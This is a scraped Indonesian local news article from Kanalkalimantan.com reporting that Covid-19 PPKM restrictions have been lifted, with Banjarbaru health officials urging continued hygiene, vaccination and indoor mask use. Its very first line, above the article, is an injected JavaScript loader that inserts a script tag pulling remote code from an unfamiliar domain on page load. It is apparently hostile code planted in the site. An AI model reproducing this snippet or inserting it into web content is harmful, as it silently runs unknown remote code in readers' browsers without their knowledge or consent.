(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah pusat secara resmi mencabut Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM), sehingga tidak ada lagi pembatasan Covid-19 seperti kerumunan.
Dengan pencabutan kebijakan PPKM, pemerintah dan masyarakat harus siap menyambut masa transisi menuju endemi.
Kepala Dinas Kesehatan (Dinkes) Kota Banjarbaru, dr Juhai Triyanti Agustina mengatakan, walaupun status PPKM dicabut, dirinya mengharapkan masyarakat tetap menerapkan pola hidup bersih dan sehat. Guna menjaga daya tahan tubuh di masa transisi.
“Walaupun PPKM sudah tidak ada lagi, tetap saja kita selalu mengamalkan perilaku hidup bersih dan sehat,†ujarnya.
Baca juga:Â Titik-titik Rawan Kecelakaan di Jalan Trikora, Dishub Kalsel Siapkan 75 PJU
Kadinkes Banjarbaru, dr Juhai Triyanti Agustina. Foto: ibnu
Dilanjutkan dr Juhai, terkait vaksinasi Covid-19 di Kota Banjarbaru terus dilaksanakan sesuai intruksi Kementerian Dalam Negeri RI yang diberikan sampai booster, untuk tenaga kesehatan dan lansia sampai booster kedua.
Sehingga dirinya mengimbau bagi masyarakat Kota Banjarbaru bagi yang belum bervaksin agar sesegara mungkin melakukan vaksinasi. “Untuk vaksinasi Covid tetap ada dan gratis,†tutupnya.
Sementara itu, Kepala Bidang Pencegahan dan Pengendalian Penyakit Dinkes Banjarbaru, Erni Syafrida mengatakan, protokol kesehatan tetap diberlakukan sesuai Inmendagri, dimana masyarakat harus tetap menggunakan masker dengan benar terutama saat berada dalam kerumunan, ruangan tertutup atau sempit, mempunyai gejala seperti batuk dan pilek.
Baca juga:Â Harlah ke-50 PPP, DPC PPP Banjarbaru Ajak Anak Yatim Shalat Hajat dan Doa Bersama
Kabid P2P Dinkes Banjarbaru, Erni Syafrida. Foto: ibnu
“Di dalam ruang diharapkan tetap memakai masker, kalau di luar ruangan sudah diperbolehkan tidak memakai,†katanya.
Selain memakai masker, sejumlah ketentuan lain masih berlaku. Misalnya, mencuci tangan, dan penggunaan PeduliLindungi untuk memasuki ruang atau fasilitas umum.
Masih kata Erni, dengan dicabutnya PPKM ini, kapasitas operasional hanya beberapa persen dalam satu ruangan pertemuan, sekarang sudah bisa 100 persen, seperti kegiatan pendidikan dan lain-lain. (Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.